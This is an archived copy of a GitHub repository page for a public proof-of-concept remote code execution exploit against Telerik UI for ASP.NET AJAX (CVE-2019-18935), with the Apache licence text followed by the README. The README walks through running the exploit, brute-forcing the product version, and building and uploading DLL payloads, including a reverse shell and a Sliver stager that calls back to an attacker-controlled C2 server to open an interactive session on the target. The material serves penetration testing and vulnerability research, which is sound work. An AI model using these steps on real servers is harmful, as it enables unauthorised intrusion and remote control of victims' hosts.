

GitHub - noperator/CVE-2019-18935: RCE exploit for a .NET JSON deserialization vulnerability in Telerik UI for ASP.NET AJAX.

• GitHub

GitHub - noperator/CVE-2019-18935: RCE exploit for a .NET JSON deserialization vulnerability in Telerik UI for ASP.NET AJAX. • GitHub - noperator, GitHub.

- Published: date not stated
- Original: <https://github.com/noperator/CVE-2019-18935>
- Preserved from: <https://github.com/noperator/CVE-2019-18935> (preserved-copy) on 2026-08-04
- Repository commit: 7701b27f238b888bfa7168ea4fbe5a3b9550b110
- Licence: see the repository

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Repository reading copy: selected documentation at the recorded commit. Source code is never checked out, built or run.

- Repository: <https://github.com/noperator/CVE-2019-18935>
- Commit: 7701b27f238b888bfa7168ea4fbe5a3b9550b110
- Documents preserved: 2

LICENSE

Blob 261eeb9e9f8b , 11357 bytes, at commit 7701b27f238b .

Apache License Version 2.0, January 2004 <http://www.apache.org/licenses/>

TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

1. Definitions.

"License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.

"Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License.

"Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.

"You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License.

"Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files.

"Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types.

"Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below).

"Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof.

"Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution."

"Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.

1. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form.

1. Grant of Patent License. Subject to the terms and conditions of

this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.

1. Redistribution. You may reproduce and distribute copies of the

Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:

(a) You must give any other recipients of the Work or Derivative Works a copy of this License; and

(b) You must cause any modified files to carry prominent notices stating that You changed the files; and

(c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and

(d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License.

You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.

1. Submission of Contributions. Unless You explicitly state otherwise,

any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms

of any separate license agreement you may have executed with Licensor regarding such Contributions.

1. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.

1. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.

1. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.

1. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.

END OF TERMS AND CONDITIONS

APPENDIX: How to apply the Apache License to your work.

To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives.

Copyright [yyyy] [name of copyright owner]

Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at

<http://www.apache.org/licenses/LICENSE-2.0>

Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.

README.md

Blob 38f169c1c04e, 13868 bytes, at commit 7701b27f238b.

CVE-2019-18935

Proof-of-concept exploit for a .NET JSON deserialization vulnerability in Telerik UI for ASP.NET AJAX allowing remote code execution.

<div align="center"> </div>

Description

[Telerik UI for ASP.NET AJAX](#) is a widely used suite of UI components for web applications. It insecurely deserializes JSON objects in a manner that results in arbitrary remote code execution on the software's underlying host. For more information, see:

- The DerpCon talk [.NET Roulette \(slides\)](#) which details extra fundamentals about exploiting insecure deserialization, applies that to this exploit, and walks through some tips and tricks for getting shells on ASP.NET web applications.
- The [full write-up](#) at Bishop Fox, including a complete walkthrough of this vulnerability and exploit details for this issue (along with patching instructions).

Getting started

Prerequisites

You'll need [Visual Studio](#) and [.NET Framework SDK](#) installed to compile mixed-mode .NET assembly DLL payloads using `build-dll.bat`.

Install

```
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
```

This exploit leverages encryption logic from [RAU_crypto](#). The `RAUCipher` class within `RAU_crypto.py` depends on `PyCryptodome`, a drop-in replacement for the `dead` `PyCrypto` module. `PyCryptodome` and `PyCrypto` create problems when installed in the same environment, so the best way to satisfy this dependency is to install the module within a virtual environment, as shown above.

Configure

Point [line 17](#) of `build-dll.bat` to the path of your Visual Studio installation.

```
set VSPATH=C:\Program Files (x86)\Microsoft Visual
Studio\2019\Community\VC\Auxiliary\Build
```

Usage

```
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                        [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                        [-f FOLDER] -u URL
```

Exploit [for](#) CVE-2019-18935, a .NET JSON deserialization vulnerability in Telerik UI [for](#) ASP.NET AJAX.

optional arguments:

-h, --help	show this help message and exit
-t	just upload a file
-d	just deserialize
-r FILENAME_REMOTE	remote payload name, for optional use with -d
-s SMB_SERVER	remote SMB server, for optional use with -d
-v UI_VERSION	software version
-n NET_VERSION	.NET version
-p PAYLOAD	mixed mode assembly DLL
-f FOLDER	destination folder on target
-u URL	<code>https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau</code>

Compile mixed mode .NET assembly DLL payload

Some payloads (e.g., `reverse-shell.c` and `sliver-stager.c`) require you to set the `HOST` and `PORT` fields to point to your C2 server—be sure to do that!

In a Windows environment with Visual Studio installed, use `build-dll.bat` to generate 32- and 64-bit mixed mode assembly DLLs to be used as a payload during deserialization. You may optionally specify a target CPU architecture as a second CLI argument (e.g., `x86`).

```
build-dll.bat sleep.c
```

Upload payload to target, and load payload into application

Pass the DLL generated above to `CVE-2019-18935.py`, which will upload the DLL to a directory on the target server (provided that the web server has write permissions in that directory) and then load that DLL into the application via the insecure deserialization exploit.

```
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u
<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo',
               'Telerik.Web.UI, Version=<VERSION>',
               'Culture=neutral, ',
               'PublicKeyToken=<TOKEN>',
               'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds
```

In the example above, the application took at least 10 seconds to respond, indicating that the DLL payload successfully invoked `Sleep(10000)`.

Brute-force Telerik UI version

As detailed in the DerpCon talk [.NET Roulette \(39:46\)](#), we can brute-force the Telerik UI version by specifying only the *major* version of the `Telerik.Web.UI` assembly (i.e., the `2017` portion of the full version string `2017.2.503.40`) when uploading a file. This technique drastically reduces the search space when compared to brute-forcing each specific release of this software—and, as an added benefit, it can even detect versions that aren't explicitly listed in the [release history](#) for this software. Learn more about .NET assembly versioning on [MSDN](#).

```
$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u
    <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:
```

Implant with Sliver C2 framework

The custom [Sliver](#) stager payload `sliver-stager.c` receives and executes Sliver shellcode (the stage) from the Sliver server (the staging server), following Metasploit's staging protocol. For more details on how this works, read the header in the payload source.

Start Sliver server. More info on server setup [here](#).

```
MINGW_PATH='/usr/bin' # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server
```

Open C2 endpoint (we're using an mTLS listener here, but you can also use HTTP or DNS) on Sliver server, create an implant profile, and create a staging listener linked to that profile. More info on staged payloads [here](#). Note that we're not generating a Sliver stager using `generate stager` as Sliver's documentation suggests; we're instead using our custom `sliver-stager.c`.

⚠ Warning: Sending a stage of the wrong CPU architecture will *crash* the target process! For example, if the target is running a 32-bit version of Telerik UI and the staging server

sends a 64-bit stage to the 32-bit stager, the web server process will crash. In the following example, we generate 32-bit shellcode—but you must match that to your target's CPU architecture using the `new-profile` command's `--arch` flag.

```
sliver > mtlS
[*] Starting mTLS listener ...
[*] Successfully started job #1

sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-
name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32

sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started
```

Set the host and port in the Sliver stager source to point to the Sliver server (showing an example server below).

```
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c
```

Compile the Sliver stager payload, and upload the payload to the target and load it into the application (all according to the preceding Usage sections in this README).

```
> .\build-dll.bat sliver-stager.c x86

$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p
payloads/sliver-stager-2020080514261722-x86.dll
```

If all goes well (have you troubleshot this target?), you'll see a session created in your Sliver server window that you can use to interact with the target.

```
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC
```

```
sliver > use 1
```

```
[*] Active session AFRAID_COMPUTER (1)
```

```
sliver (AFRAID_COMPUTER) > help
```

```
Commands:
```

```
=====
```

```
clear clear the screen
```

```
exit exit the shell
```

```
help use 'help [command]' for command help
```

```
...
```

```
whoami Get session user execution context
```

```
sliver (AFRAID_COMPUTER) > whoami
```

```
DESKTOP-D19S4Q2\tester
```

Troubleshooting

- Each payload only works once—the .NET `AssemblyInstaller` class cannot load multiple .NET assemblies having the same assembly name (different from a *filename*). You'll need to compile and upload a new one each time you want the target to sleep, call back, etc.
- Ensure you're targeting the right CPU architecture (32- or 64-bit). This may take some guesswork; the sleep payload is useful here.
- Beware egress filtering rules on the target network when trying to initiate a reverse TCP connection back to your C2 server. Choose a commonly allowed TCP port, like 443.

Back matter

Legal disclaimer

Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Acknowledgements

[@mwulftange](#) initially [discovered](#) this vulnerability. [@bao7uo](#) wrote all of the logic for [breaking RadAsyncUpload encryption](#), which enabled manipulating the file upload configuration object in `rauPostData` and subsequently exploiting insecure deserialization of that object. [@lesnuages](#) wrote the first iteration of the Sliver stager payload.

See also

Government advisories

- 28 Jul 2021: [CISA | Top Routinely Exploited Vulnerabilities](#)
- 20 Oct 2020: [NSA | Chinese State-Sponsored Actors Exploit Publicly Known Vulnerabilities](#)
- 19 Jun 2020: [ACSC | Copy-Paste Compromises – tactics, techniques and procedures used to target multiple Australian networks](#)
- 22 May 2020: [ACSC | RCE vulnerability being actively exploited in vulnerable versions of Telerik UI by sophisticated actors](#)

Bug bounty write-ups

- [HackerOne Report #1174185 \(@un4gi\)](#)
- [HackerOne Report #838196 \(@sw33tLie\)](#)
- [HackerOne Report #913695 \(@un4gi\)](#)

To-do

- [x] Add payload to upload and execute [Sliver](#) implant
- [] Adjust C payload to optionally run a single command, rather than opening an interactive shell
- [] Modify the assembly name of already compiled DLL to avoid recompiling for the same target
- [x] Demonstrate brute-forcing major Telerik UI versions (i.e., the *year* portion of the version string)

License

This project is licensed under the [Apache License](#).